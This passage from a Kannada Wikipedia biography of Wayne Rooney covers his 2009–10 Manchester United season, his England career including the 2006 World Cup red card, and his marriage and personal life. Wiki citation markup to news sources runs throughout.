ಗಳಾಗಿದ್ದವು.<ref>{{Cite news|url= http://news.bbc.co.uk/sport1/hi/football/eng_prem/8377193.stm|title=Portsmouth 1–4 Man Utd|work=BBC Sport|date=38 November 2009|accessdate=28 November 2009}}</ref> 2009 ರ ಡಿಸೆಂಬರ್ 27 ರಂದು [[ಹುಲ್]] ವಿರುದ್ಧ [[ಪಂದ್ಯ ಪುರುಷೋತ್ತಮ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ರೂನೇ ಪಡೆದರು. ಅಂದಿನ ಆಟದಲ್ಲಿ ಮಾಡಲ್ಪಟ್ಟ ಎಲ್ಲ ಗೋಲ್ ಗಳಲ್ಲಿಯೂ ಬಾಲನ್ನು ಓಪನರ್ ಗೆ ಕೊಡುವುದು ಮತ್ತು ನಂತರ ಬಾಲನ್ನು ಹುಲ್ ತಂಡದ ಸರಿತೂಗಿಸುವ ಪೆನಾಲ್ಟಿಗೆ ನೂಕುವ ಮೂಲಕ ಅವರು ಪಾತ್ರ ವಹಿಸಿದ್ದರು. ನಂತರ ಅವರು [[ಆಂಡಿ ಡಾವ್ಸನ್]] ಅವರನ್ನು ಸ್ವಂತ ಗೋಲ್ ಮಾಡುವಂತೆ ಪ್ರೇರೇಪಿಸಿದರು. ನಂತರ ಅವರು [[ಡಿಮಿಟರ್ ಬರ್ಬೇಟೊವ್]] ಅವರಿಗೆ ಯುನೈಟೆಡ್ ಗಾಗಿ ಮೂರನೇ ಗೋಲ್ ಮಾಡಲು ಸಹಕರಿಸಿದರು. ಇದರಿಂದ ಅವರಿಗೆ 3-1 ರ ಗೆಲುವು ಸಿಕ್ಕಿತು.<ref>{{Cite news|url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/8423586.stm|title=Hull 1–3 Man Utd|work=|date=27 December 2009|accessdate=27 December 2009}}</ref> 2009 ರ ಡಿಸೆಂಬರ್ 30 ರಂದು ಹುಲ್ ವಿರುದ್ಧ ಗೋಲ್ ಪಡೆದ ಮೂರು ದಿನಗಳ ನಂತರ ರೂನೇ ಅವರು ಮತ್ತೊಂದು ಗೋಲು ಗಳಿಸಿದರು. ಇದರಲ್ಲಿ ಯುನೈಟೆಡ್ ತಂಡವು ವಿಗಾನ್ ವಿರುದ್ಧ ಆಡಿದ ದಶಕದ ಕೊನೆಯ ಪಂದ್ಯದಲ್ಲಿ 5-0 ದಿಂದ ಗೆಲುವು ಸಾಧಿಸಿತು.<ref>{{Cite news|url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/8429015.stm|title=Man Utd 5–0 Wigan|work=|date=30 December 2009|accessdate=30 December 2009}}</ref> 2010 ರ ಜನವರಿ 23 ರಂದು ಹುಲ್ ತಂಡದ ವಿರುದ್ಧ ನಡೆದ ಪಂದ್ಯದಲ್ಲಿ ರೂನೇ ಅವರು ಎಲ್ಲ ನಾಲ್ಕು ಗೋಲುಗಳನ್ನು ಪಡೆದರು. ಇದರಲ್ಲಿ ಯುನೈಟೆಡ್ 4-0 ಗಳಿಂದ ಜಯ ಗಳಿಸಿತು. ಇವುಗಳಲ್ಲಿ ಮೂರು ಗೋಲುಗಳು ಪಂದ್ಯದ ಕೊನೆಯ 10 ನಿಮಿಷಗಳಲ್ಲಿ ಬಂದವು. ಅವರ ವೃತ್ತಿ ಜೀವನದಲ್ಲಿ ಇದೇ ಮೊದಲ ಬಾರಿ ಅವರು ಒಂದೇ ಪಂದ್ಯದಲ್ಲಿ ನಾಲ್ಕು ಗೋಲುಗಳನ್ನು ಬುಟ್ಟಿಗೆ ಹಾಕಿಕೊಂಡಿದ್ದರು.<ref>{{cite news |first=Ian |last=Hughes |title=Man Utd 4–0 Hull |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/8472354.stm |work=BBC Sport |publisher=BBC Sport|date=23 January 2010 |accessdate=23 January 2010 }}</ref> 2010 ರ ಜನವರಿ 27 ರಂದು [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ನಗರದ]] [[ಡರ್ಬಿ]] ಪ್ರತಿಸ್ಪರ್ಧಿಗಳ ವಿರುದ್ಧ ತಮ್ಮ ಉತ್ತಮ ಸ್ಕೋರ್ ರೀತಿಯನ್ನು ಮುಂದುವರಿಸಿ ಕೊನೆಯ ಎರಡು ನಿಮಿಷಗಳಲ್ಲಿ ಗೆಲುವನ್ನು ತಂದುಕೊಟ್ಟರು. ಇದು ಯುನೈಟೆಡ್ ತಂಡಕ್ಕೆ 4-3 ಮೊತ್ತದ ಗೆಲುವು ತಂದುಕೊಡುವ ಮೂಲಕ [[ಫೈನಲ್]] ಪ್ರವೇಶದ ಅರ್ಹತೆ ಸಿಕ್ಕಿತು. [[2006 ರ ಫೈನಲ್]]‌ನಲ್ಲಿ ಎರಡು ಗೋಲುಗಳನ್ನು ಪಡೆದ ನಂತರ ಇದು ಅವರು [[ಲೀಗ್ ಕಪ್‌ನಲ್ಲಿ]] ಪಡೆದ ಮೊದಲ ಗೋಲ್ ಆಗಿತ್ತು.<ref>{{cite news |first=Kevin |last=Mccarra |title=Man Utd 3–1 Man City |url=http://news.bbc.co.uk/sport1/hi/football/league_cup/8473135.stm|work=BBC Sport |publisher=British Broadcasting Company|date=27 January 2010 |accessdate=27 January 2010 }}</ref> 2010 ರ 31 ಜನವರಿ 31 ರಂದು ಆರ್ಸೆನಾಲ್ ವಿರುದ್ಧ ಪಡೆದ 3-1 ರ ಗೆಲುವಿನಲ್ಲಿ ರೂನೇ ಅವರು 100 ನೇ ಪ್ರೀಮಿಯರ್ ಗೋಲನ್ನು ಮೊಟ್ಟ ಮೊದಲ ಬಾರಿಗೆ [[ಎಮಿರೇಟ್ಸ್]]‌ನಲ್ಲಿನ ಲೀಗ್ ನಲ್ಲಿ ಸಾಧಿಸಿದರು. ರೂನೇ ಅವರ ಪ್ರಥಮ [[ಪ್ರೀಮಿಯರ್ ಲೀಗ್]] ಗೋಲ್ ಕೂಡ ಆರ್ಸೆನಾಲ್ ವಿರುದ್ಧವೇ ಬಂದಿದೆ ಎಂಬುದು ಗಮನೀಯ ಅಂಶ.<ref>{{cite news |first=Phil |last=McNulty |title=Arsenal 1–3 Man Utd |url=http://news.bbc.co.uk/sport1/hi/football/eng_prem/8485984.stm|work=BBC Sport |publisher=British Broadcasting Company|date=31 January 2010 |accessdate=31 January 2010 }}</ref> 2010 ರ ಫ್ರೆಬ್ರವರಿ 16 ರಂದು ಈ ಸಮಯದ ತಮ್ಮ ಪ್ರಥಮ [[ಯೂರೋಪಿಯನ್]] ಗೋಲನ್ನು ರೂನೇ ಪಡೆದರು. 3-2 ಅಂತರದಲ್ಲಿ ಹೆಡ್ಡರ್ ಮೂಲಕ ಸ್ಕೋರ್ ಮಾಡಿ [[ಎ.ಸಿ. ಮಿಲನ್]] ತಂಡದ ವಿರುದ್ಧ ಪ್ರಥಮ ಬಾರಿಗೆ [[ಸಾನ್ ನಿರೋ]]ದಲ್ಲಿ ಜಯ ಗಳಿಸಿದರು.<ref>{{cite news |first=Sam |last=Lyon |title=AC Milan 2–3 Man Utd |url=http://news.bbc.co.uk/sport1/hi/football/europe/8515983.stm|work=BBC Sport |publisher=British Broadcasting Company|date=16 February 2010 |accessdate=16 February 2010 }}</ref> 2010 ರ ಜನವರಿ 28 ರಂದು ಆಸ್ಟನ್ ವಿಲ್ಲಾ (ಇದು ಅವರ 5 ನೇ ಕ್ರಮಾಗತ ಹೆಡ್ಡರ್ ಸ್ಕೋರ್ ಆಗಿತ್ತು) ತಂಡದ ವಿರುದ್ಧ ಮತ್ತೊಂದು ಹೆಡ್ಡರ್ ಸ್ಕೋರ್ ಗಳಿಸಿದರು. ಈ ಮೂಲಕ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ತಂಡವು [[ಕಾರ್ಲಿಂಗ್ ಕಪ್‌]]ನ ಅಂತಿಮ ಪಂದ್ಯವನ್ನು 2-1 ರ ಮೂಲಕ ಜಯಗಳಿಸಿತು.<ref>{{cite news|title=Rooney gives United Carling Cup victory |url=http://beta.thehindu.com/sport/football/article123899.ece|work=The Hindu |publisher=The Hindu|date=28 February 2010 |accessdate=28 February 2010 }}</ref> ಎರಡನೇ ಭಾಗದ ಪಂದ್ಯದಲ್ಲಿ ಯುನೈಟೆಡ್ ತಂಡದ [[ಯುರೋಪಿಯನ್]] [[ಎ.ಸಿ. ಮಿಲನ್]] ವಿರುದ್ಧ ಸಮವಾಯಿತು. ರೂನೇ ಅವರು ಸ್ವದೇಶದಲ್ಲಿ 4-0 ಗೋಲಿನ ಜಯದ ಮೂಲಕ ಈ ಸಮಯದಲ್ಲಿ ಒಟ್ಟು 30 ಗೋಲುಗಳನ್ನು ಸಂಪಾದಿಸಿದ್ದರು.<ref>{{cite web|url=http://news.bbc.co.uk/sport1/hi/football/europe/8558023.stm|title=Man Utd 4 – 0 AC Milan (agg 7 – 2)After the game David Beckham (former Man Utd player)said 'Rooney is right up there with Ronaldo and Messi'.|last=McNulty|first=Phil |date=10 March 2010|work=[[BBC Sport]]|accessdate=19 April 2010}}</ref> ಕೇವಲ 5 ದಿನಗಳ ನಂತರ ಓಲ್ಡ್ ಟ್ರಾಫೋರ್ಡ್‌ನಲ್ಲಿ [[ಫುಲ್ಹಾಮ್]] ತಂಡದ ವಿರುದ್ಧ 3-0 ಅಂತರದ ಜಯ ಗಳಿಸಿದ ಪಂದ್ಯದಲ್ಲಿ ಇನ್ನೂ 2 ಹೆಚ್ಚು ಗೋಲುಗಳನ್ನು ಸಂಪಾದಿಸಿದರು.<ref>{{cite news|url=http://news.bbc.co.uk/sport2/hi/football/eng_prem/8559649.stm|title=Man Utd 3 – 0 Fulham|date=14 March 2010|publisher=BBC Sport|accessdate=17 March 2010}}</ref> 2010 ರ ಮಾರ್ಚ್ 30 ರಂದು ಯುನೈಟೆಡ್ ತಂಡವು ಚಾಂಪಿಯನ್ ಲೀಗ್ ಕ್ವಾರ್ಟರ್-ಫೈನಲ್ ನ ಪ್ರಥಮ ಭಾಗದಲ್ಲಿ [[ಬಾಯೆರ್ನ್ ಮುನಿಚ್]] (ಮುನಿಚ್ ಅಲೈನ್ಸ್ ಅರೆನಾ) ತಂಡದ ವಿರುದ್ಧ ಸೋಲನುಭವಿಸಿತು. ಇದರ ಕೊನೆಯ ನಿಮಿಷದಲ್ಲಿ ರೂನೇ ಅವರು ತಮ್ಮ ಪಾದದ ಕೀಲನ್ನು ಬಾಗಿಸಲು ಹೋದಾಗ ಕೆಳಕ್ಕೆ ಬಿದ್ದರು.<ref>{{cite web|url=https://www.theguardian.com/football/2010/mar/30/wayne-rooney-injury-manchester-united|title=Wayne Rooney's ankle injury leaves Manchester United sweating|date=30 March 2010|publisher=guardian.co.uk|accessdate=19 April 2010}}</ref> ಈ ಸಂದರ್ಭದಲ್ಲಿ ರೂನೇ ಅವರು ಗಂಭೀರವಾಗಿ ಎಲುಬು ಮುರಿತ ಅಥವಾ ಕೀಲು ಮುರಿತಕ್ಕೆ ಒಳಗಾಗಿರಬಹುದು ಎಂಬ ಆತಂಕವಿತ್ತು. ಆದರೆ, ನಂತರ ಕೇವಲ ಎಲುಬು ಜೋಡಣೆಯಲ್ಲಿ ಮಾತ್ರ ಗಾಯವಾಗಿದೆ ಎಂಬುದನ್ನು ತಿಳಿಸಲಾಯಿತು. ಆದರೆ, ಈ ಮೂಲಕ ಅವರು 2 ರಿಂದ 3 ವಾರಗಳ ಕಾಲ<ref name="injury"/> ಆಟದಿಂದ ದೂರ ಉಳಿಯಬೇಕಾಯಿತು. ಇದರಿಂದ ಅವರು ಚೆಲ್ಸಿಯಾ ವಿರುದ್ಧ ನಡೆದ ಕ್ರಂಚ್ ಪಂದ್ಯ ಹಾಗೂ ಮುನಿಚ್ ವಿರುದ್ಧ ನಡೆದ ಪಂದ್ಯಗಳನ್ನು ತಪ್ಪಿಸಿಕೊಂಡರು.<ref name="injury">{{cite web|url=http://www.manutd.com/default.sps?pagegid={F9E570E6-407E-44BC-800F-4A3110258114}&newsid=6647817|title=Rooney ruled out for 2–3 weeks |date=2 April 2010|publisher=Manutd.com|accessdate=19 April 2010}}</ref> ಚಾಂಪಿಯನ್ ಲೀಗ್ ನ ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ ಪಂದ್ಯದ ಎರಡನೇ ಹಂತದ ತಂಡಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ರೂನೇ ಗೆ ಯುನೈಟೆಡ್ ಲೈನ್ ಅಪ್ ನಲ್ಲಿ ಆರಂಭಿಕ ಸ್ಥಾನ ನೀಡಿದ್ದು ಅಚ್ಚರಿಯಾಯಿತು.<ref name="2ndleg">{{cite web|url=http://news.sky.com/skynews/Home/UK-News/Manchester-United-Striker-Wayne-Rooney-Injured-Again-As-Side-Knocked-Out-Of-Champions-League/Article/201004115596953?f=rss|title=Rooney Injury Adds To Man Utd Heartache |date=8 April 2010|publisher=Sky News|accessdate=19 April 2010}}</ref> 3-0 ಗಳ ಲೀಡ್ ಆದ ಬಳಿಕ 41 ನೇ ನಿಮಿಷದಲ್ಲಿ ಮುನಿಚ್ ತಂಡವು 2 ಗೋಲುಗಳನ್ನು ವಾಪಸ್ ಸಂಪಾದಿಸಿತು (ಯುನೈಟೆಡ್ ತಂಡವು [[ರಾಫೆಲ್ ಡಾ ಸಿಲ್ವಾ]] ಅವರನ್ನು ಕಳೆದುಕೊಂಡ ನಂತರ 10 ಜನ ಆಟಗಾರರಿಗೆ ಸೀಮಿತಗೊಳಿಸುವಂತೆ ಒತ್ತಡ ಎದುರಿಸಿತು. ರೂನೇ ಅವರ ಪಾದದ ಕೀಲು ಮತ್ತೆ ಗಾಯಗೊಂಡಾಗ ಪುನಃ ಬದಲಾಯಿಸಲ್ಪಟ್ಟರು. ಆದಾಗ್ಯೂ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ತಂಡವು ಎರಡನೇ ಹಂತದ ಪಂದ್ಯವನ್ನು ಚಾಂಪಿಯನ್ ಲೀಗ್ [[ಅವೇ ಗೋಲ್ ನಿಯಮದ]] ಮೂಲಕ 3-2 ರಿಂದ ಗೆಲುವು ಸಾಧಿಸಿತು.<ref name="2ndleg"/> 2010 ರ ಎಪ್ರಿಲ್ 25 ರಂದು ರೂನೇ ಅವರು 2010 ರ [[ಪಿಎಫ್ಎ ಆಟಗಾರರ ವರ್ಷದ ಆಟಗಾರ]]ರಾಗಿ ಆಯ್ಕೆಯಾದರು.<ref>{{cite news|url=http://news.bbc.co.uk/sport2/hi/football/eng_prem/8643305.stm|title=Rooney is PFA player of the year|date=2010-04-25|work=[[BBC Sport]]|publisher=[[BBC]]|accessdate=2010-04-26}}</ref> == ಅಂತಾರಾಷ್ಟ್ರೀಯ ವೃತ್ತಿಜೀವನ == [[ಚಿತ್ರ:Wayne Rooney.jpg|200px|thumb|ರೂನೀ ಇಂಗ್ಲೆಂಡ್‌ಗಾಗಿ ಆಡುತ್ತಿರುವುದು]] ರೂನೇ ಅವರು [[ಇಂಗ್ಲೆಂಡ್]] ಪರವಾಗಿ ಆಡಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಹೆಗ್ಗಳಿಕೆಗೆ ಪಾತ್ರರಾದರು. ಅವರು ತಮ್ಮ 17 ನೇ ವಯಸ್ಸಿನಲ್ಲಿಯೇ [[ಆಸ್ಟ್ರೇಲಿಯಾ]] ವಿರುದ್ಧ 2003 ರ ಫೆಬ್ರವರಿ 12 ರಂದು ಸೌಹಾರ್ದಯುತವಾಗಿ ನಡೆದ ಪಂದ್ಯದಲ್ಲಿ ಆಡಿದರು. ಇದೇ ವಯಸ್ಸಿನಲ್ಲಿಯೇ ಇಂಗ್ಲೆಂಡ್ ಪರವಾಗಿ ಗೋಲ್ ಮಾಡಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಗೌರವಕ್ಕೂ ಪಾತ್ರರಾದರು. 2006 ರಲ್ಲಿ ಆರ್ಸೆನಾಲ್ ತಂಡದ ಆಟಗಾರ [[ಥಿಯೋ ವಾಲಕೊಟ್]] ಅವರು 36 ದಿನಗಳಲ್ಲಿ ರೂನೇ ಅವರ ತೋರಿಕೆಗಳ ದಾಖಲೆಗಳನ್ನು ಮುರಿದರು. ಅವರ ಮೊದಲ ಪಂದ್ಯಾವಳಿ ಹೋರಾಟ [[ಯುರೋ 2004]] ನಲ್ಲಿ ಆರಂಭವಾಗಿತ್ತು. ಇದರಲ್ಲಿ ಅವರು ಸ್ಪರ್ಧಾ ಇತಿಹಾಸದಲ್ಲಿಯೇ 2004 ರ ಜೂನ್ 17 ರಂದು ಅತ್ಯಂತ ಕಿರಿಯ ಸ್ಕೋರರ್ ಗೌರವ ಪಡೆದರು. ಇದರಲ್ಲಿ [[ಸ್ವಿಟ್ಜರ್‌ಲ್ಯಾಂಡ್]] ವಿರುದ್ಧ ಅವರು ಎರಡು ಗೋಲ್ ಮಾಡಿದರು. ಏನೇ ಆಗಲಿ, ಈ ದಾಖಲೆಯು ಸ್ವಿಸ್‌ನ ಮಿಡ್ ಫೀಲ್ಡರ್ [[ಜೋಹಾನ್ ವೊನ್‌ಲಾಂಥೆನ್]] ನಿಂದ 4 ದಿನಗಳ ನಂತರ ಮುರಿಯಲ್ಪಟ್ಟಿತು. ಕ್ವಾರ್ಟರ್ ಫೈನಲ್‌ನ ಪೋರ್ಚುಗಲ್ ತಂಡದ ವಿರುದ್ಧ ನಡೆದ ಪಂದ್ಯದಲ್ಲಿ ರೂನೇ ಅವರು ಗಾಯದಿಂದ ನರಳಿದರು. ಇದರಲ್ಲಿ ಇಂಗ್ಲೆಂಡ್ ತಂಡವು ಪೆನಾಲ್ಟಿಗಳ ಕಾರಣ ಪಂದ್ಯಾವಳಿಯಿಂದ ಹೊರಬಿದ್ದಿತು. ಇದರ ಹಿಂದೆಯೇ 2006 ರ ಎಪ್ರಿಲ್ ನಲ್ಲಿ ನಡೆದ ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಪಂದ್ಯದಲ್ಲಿ ಸಂಭವಿಸಿದ ಪಾದದ ಗಾಯದ ಕಾರಣ ರೂನೇ ಅವರು [[2006 ರ ವಿಶ್ವಕಪ್]]‌ಗಾಗಿ ದೈಹಿಕ ಸಾಮರ್ಥ್ಯ ಸಾಬೀತುಪಡಿಸಬೇಕಾಯಿತು. ಒಂದು ಆಮ್ಲಜನಕದ ಟೆಂಟ್ ಬಳಸುವ ಮೂಲಕ ರೂನೇಯ ಆರೋಗ್ಯ ಬೇಗ ಸುಧಾರಿಸಬೇಕೆಂದು ಇಂಗ್ಲೆಂಡ್ ಪ್ರಯತ್ನಿಸಿತು, ಮತ್ತು ಆ ಮೂಲಕ ರೂನೇ ಅವರು [[ಟ್ರಿನಿಡಾಡ್ ಹಾಗೂ ಟೊಬಾಗೊ]] ಮತ್ತು [[ಸ್ವೀಡನ್]] ಪಂದ್ಯ ವಿರುದ್ಧ ಸಮೂಹ ಪಂದ್ಯಗಳಿಗೆ ಆಯ್ಕೆಯಾದರು. ಏನೇ ಆದರೂ ಅವರು ಆಟದಿಂದ ಹೊರಬೀಳಲಿಲ್ಲ. ಮತ್ತು ಇಂಗ್ಲೆಂಡ್ ಕೂಡ ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ ನಲ್ಲಿ ಮತ್ತೆ ಪೆನಾಲ್ಟಿ ಕಿಕ್ ನ ಕಾರಣ ಸ್ಕೋರ್ ಇಲ್ಲದೆ ಸೋತಿತು. ರೂನೇ ಅವರು ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ ನ 62 ನೇ ನಿಮಿಷದಲ್ಲಿ ಫೋರ್ಚುಗಲ್‌ನ ರಕ್ಷಣಾ ಆಟಗಾರ [[ರಿಕಾರ್ಡೋ ಕಾರ್ವಾಲ್ಹೊ]] ಅವರಿಗೆ ಒದ್ದ ಕಾರಣ ಕೆಂಪು ಕಾರ್ಡ್ ತೋರಿಸಲ್ಪಟ್ಟರು. ಇಬ್ಬರೂ ಬಾಲ್ ಪಡೆಯಲು ಪ್ರಯತ್ನಿಸಿದ್ದರು. ಈ ಘಟನೆಯು ರೆಫ್ರಿ [[ಹೊರಾಸಿಯೋ ಎಲಿಜೊಂಡೋ]] ಎದುರೇ ನಡೆದಿತ್ತು. ರೂನೇ ಅವರ ಯುನೈಟೆಡ್ ತಂಡದ ಸಹ ಆಟಗಾರ ಕ್ರಿಶ್ಚಿಯಾನೋ ರೊನಾಲ್ಡೋ ಅವರು ಬಹಿರಂಗವಾಗಿಯೇ ಈ ನಡೆಯನ್ನು ಪ್ರತಿಭಟಿಸಿದ್ದರು.ಅಲ್ಲದೆ, ತಿರುಗಿ ರೂನೇ ಅವರಿಗೂ ದೂಡಿದ್ದರು. ರೊನಾಲ್ಡೋ ಅವರು ಫೋರ್ಚುಗಲ್ ಬೆಂಚ್ ನಲ್ಲಿ ಕಣ್ಣು ಸನ್ನೆ ಮಾಡುತ್ತಿದ್ದುದನ್ನು ನೋಡಿದ ಎಲಿಜೊಂಡೊ ಅವರು ರೂನೇ ಅವರನ್ನು ಕಳುಹಿಸಿಬಿಟ್ಟರು. ರೂನೇ ಅವರು ಕಾರ್ವಾಲ್ಹೊ ಅವರನ್ನು ಗುರಿ ಮಾಡುವುದನ್ನು ತಿರಸ್ಕರಿಸಿ ಜುಲೈ 3 ರಂದು ಹೇಳಿಕೆ ನೀಡಿದರು. “''ನಾನು ಕ್ರಿಶ್ಚಿಯಾನೋ ಅವರಲ್ಲಿ ಯಾವುದೇ ಬೇಸರ ಹೊಂದಿಲ್ಲ. ಆದರೆ, ಅವರು ಭಾಗವಹಿಸಿದ್ದು ಮಾತ್ರ ನನಗೆ ನಿರಾಸೆ ಮೂಡಿಸಿದೆ.'' ''ಅಂತಹ ಸಂದರ್ಭದಲ್ಲಿ ನಾವು ತಂಡದ ಸಹ ಆಟಗಾರರಲ್ಲಿ ಎಂಬುದು ನನಗೆ ನೆನಪಿದೆ'' .” ಎಂದರು.<ref>{{cite news |date=3 July 2006 |url=http://soccernet.espn.go.com/news/story?id=373186&cc=5739 |title=Rooney claim: No intent and no ill will |work=[[Soccernet]] |accessdate=17 November 2006 |archive-date=5 ಜುಲೈ 2006 |archive-url=https://web.archive.org/web/20060705050422/http://soccernet.espn.go.com/news/story?id=373186&cc=5739 |url-status=dead }}</ref> ಎಲಿಜೊಂಡೋ ಅವರು ಮರುದಿನ ರೂನೇ ಅವರನ್ನು ಕಾರ್ವಾಲ್ಹೋ ಅವರ ಮೇಲೆ ಆಕ್ರಮಣ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ತೆಗೆದು ಹಾಕಲಾಗಿದೆ ಎಂಬುದನ್ನು ಸ್ಪಷ್ಟಪಡಿಸಿದರು.<ref>{{cite news |date=4 July 2006 |url=http://soccernet.espn.go.com/news/story?id=373212&cc=5739 |title=Ronaldo cleared over Rooney red card |work=[[Soccernet]] |accessdate=17 November 2006}}</ref> ಅಲ್ಲದೆ, ರೂನೇ ಅವರಿಗೆ ಘಟನೆಯ ಕಾರಣ ಸಿಎಚ್ಎಫ್ 5,000 ಗಳನ್ನು ದಂಡವಾಗಿ ಹಾಕಲಾಯಿತು.<ref>{{cite news |date=10 July 2006 |url=http://worldcup.reuters.co.uk/england/news/usnL08917618.html |title=FIFA hands Rooney two-match ban |publisher=[[Reuters]] |accessdate=17 November 2006 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> == ವೈಯಕ್ತಿಕ ಬದುಕು == === ಕುಟುಂಬ === ರೂನೇ ಅವರು ತಮ್ಮ ಪತ್ನಿ ಕೊಲೀನ್ ರೂನೇ (ನೀ ಮ್ಯಾಕ್ ಲಾಲಿನ್) ಅವರನ್ನು ಇಬ್ಬರೂ ಮಾಧ್ಯಮಿಕ ಶಾಲೆಯಲ್ಲಿ ಕೊನೆಯ ವರ್ಷದಲ್ಲಿದ್ದಾಗ ಭೇಟಿಯಾದರು. ಅವರು 6 ವರ್ಷಗಳ ಕಾಲ ಪ್ರೀತಿಸಿ 2008 ರ ಜೂನ್ 12 ರಂದು ಮದುವೆಯಾದರು. ಈ ಸಂದರ್ಭದಲ್ಲಿ 2004 ರಲ್ಲಿ ಲಿವರ್ ಪೂಲ್ ನಲ್ಲಿ ವೇಶ್ಯೆಯರ ಜೊತೆಗೂ ಇದ್ದರು ಎಂದು ಒಪ್ಪಿಕೊಂಡರು. '"“ನಾನು ಕಿರಿಯನಾಗಿದ್ದೆ ಮತ್ತು ಮೂರ್ಖನಾಗಿದ್ದೆ. ನಾನು ಅತ್ಯಂತ ಕಿರಿಯ ಹಾಗೂ ತಿಳಿವಳಿಕೆ ಇಲ್ಲದವನಾಗಿದ್ದ ಸಂದರ್ಭದಲ್ಲಿ ಕೊಲೀನ್ ಜೊತೆಗೆ ನೆಲೆಸಿದೆ."<ref>{{cite web| url=http://news.bbc.co.uk/1/hi/england/merseyside/3588112.stm| title=Rooney admits prostitute visits| publisher=BBC| date=22 April 2004| accessdate=8 September 2008}}</ref> ಅವರು “[[Just Enough Education To Perform]]” ಶಬ್ದಗಳ ಹಚ್ಚೆ ಹೊಂದಿದ್ದರು. ಇದು ಅವರ ನೆಚ್ಚಿನ ಸಂಗೀತದ ಬ್ಯಾಂಡ್ [[ಸ್ಟೀರಿಯೋಫೋನಿಕ್ಸ್‌]] ತಮ್ಮ ಆಲ್ಬಂಗೆ ಇಟ್ಟ ಹೆಸರು. ಇದನ್ನು ಅವರು ತಮ್ಮ ಮದುವೆಯ ಕೂಟದಲ್ಲಿ ಇದನ್ನು ಹಾಡಿಸಲು ಕೊಲೀನ್ ಅವರು ಒಂದು ತಂಡ ತಯಾರಿಸಿದರು.<ref>{{cite web| url=http://www.nme.com/news/stereophonics/37949| title=Wayne Rooney gets Stereophonics tattoo| publisher=NME.com| date=9 June 2008| accessdate=8 September 2008}}</ref> [[ಕ್ಯಾಥೋಲಿಕ್ ಚರ್ಚ್]] ಜೊತೆಗೆ ಉಂಟಾದ ವಿವಾದದಲ್ಲಿ ಮದುವೆಯು ಮುಂದೂಡಲ್ಪಟ್ಟಿತು. ಇವರು ತಮ್ಮ ಧಾರ್ಮಿಕ ಆಚಾರವಿಧಿಯನ್ನು [[ಜಿನೋವಾ]] ಸಮೀಪದ ಬದಲಾಯಿಸಲ್ಪಟ್ಟ ಆಶ್ರಮವಾದ ಲಾ ಸೆರ್ವರಾ ದಲ್ಲಿ ಇಟ್ಟುಕೊಂಡಿದ್ದರು. ಸ್ಥಳೀಯ ಬಿಷಪ್ ಅವರು ಈ ಕುರಿತು ತಿರಸ್ಕರಿಸಿ ಎಚ್ಚರಿಕೆ ನೀಡಿದ್ದರೂ ಕೂಡ ಆಚಾರವಿಧಿಯನ್ನು ಇಟ್ಟುಕೊಂಡಿದ್ದರು. ಲಾ ಸೆರ್ವರಾ ಒಂದು ನಿವೇದಿತವಲ್ಲದ ಸ್ಥಳವಾಗಿದ್ದು ಮದುವೆಗೆ ಸರಿಯಾದುದಲ್ಲ ಎಂದು ಬಿಷಪ್ ಆವರ ಕಚೇರಿ ಸಿಬ್ಬಂದಿ ರೂನೇ ಅವರಿಗೆ ತಿಳಿಸಿದ್ದರು. ಅಲ್ಲದೆ, ಅವರು ಇಲ್ಲಿಗಿಂತ 5 ಮೈಲಿ ದೂರದಲ್ಲಿದ್ದ ಇನ್ನೊಂದು ಚರ್ಚ್ ಕುರಿತು ತಿಳಿಸಿದ್ದರು. ಆದರೂ ಕೂಡ ಇವರು ಈ ಸಲಹೆಯನ್ನು ಮತ್ತು ಫಾದರ್ ಎಡ್ವರ್ಡ್ ಕ್ವಿನ್ ಅವರನ್ನು ತಿರಸ್ಕರಿಸಿದರು. ಅಲ್ಲದೆ, ಸ್ಥಳೀಯ [[ಕ್ರೊಕ್‌ಸ್ಟೆತ್]] ಪೂಜಾರಿಗಳು ರಿಂಗ್ ಗಳು ಬದಲಾಯಿಸಲ್ಪಟ್ಟ ಮದುವೆ ಸಮಾರಂಭದಲ್ಲಿ ಹಾಜರಿದ್ದರು.<ref>{{cite web| url=http://www.telegraph.co.uk/news/newstopics/celebritynews/2138867/Wayne-Rooneys-wedding-to-Coleen-McLoughlin-not-valid-says-Catholic-Church.html| title=Wayne Rooney's wedding to Coleen McLoughlin 'not valid', says Catholic Church| publisher=The Telegraph| date=16 June 2008| accessdate=8 September 2008| archive-date=29 ಏಪ್ರಿಲ್ 2009| archive-url=https://web.archive.org/web/20090429044344/http://www.telegraph.co.uk/news/newstopics/celebritynews/2138867/Wayne-Rooneys-wedding-to-Coleen-McLoughlin-not-valid-says-Catholic-Church.html| url-status=dead}}</ref> 2006 ರ ಏಪ್ರಿಲ್ ತಿಂಗಳಿನಲ್ಲಿ ರೂನೇ ಅವರಿಗೆ ಅಲ್ಲಿನ ಪೀತ ಪತ್ರಿಕೆಗಳಾದ '' [[ದಿ ಸನ್]]'' ಮತ್ತು ''[[ನ್ಯೂಸ್ ಆಫ್ ದ ವರ್ಲ್ಡ್]]'' ಗಳು ತಾವು ಬರೆದಿದ್ದ ಸುಳ್ಳು ಸುದ್ದಿಗಾಗಿ ದಂಡದ ರೂಪದಲ್ಲಿ 1 ಲಕ್ಷ ಪೌಂಡ್ ಪರಿಹಾರ ನೀಡಿದರು. ಈ ಪತ್ರಿಕೆಗಳು ರೂನೇ ಅವರು ಕೊಲೀನ್ ಮೇಲೆ ರಾತ್ರಿ ಕ್ಲಬ್‌ನಲ್ಲಿ ದಾಳಿ ನಡೆಸಿದ್ದರು ಎಂದು ವರದಿ ಮಾಡಿದ್ದವು. ರೂನೇ 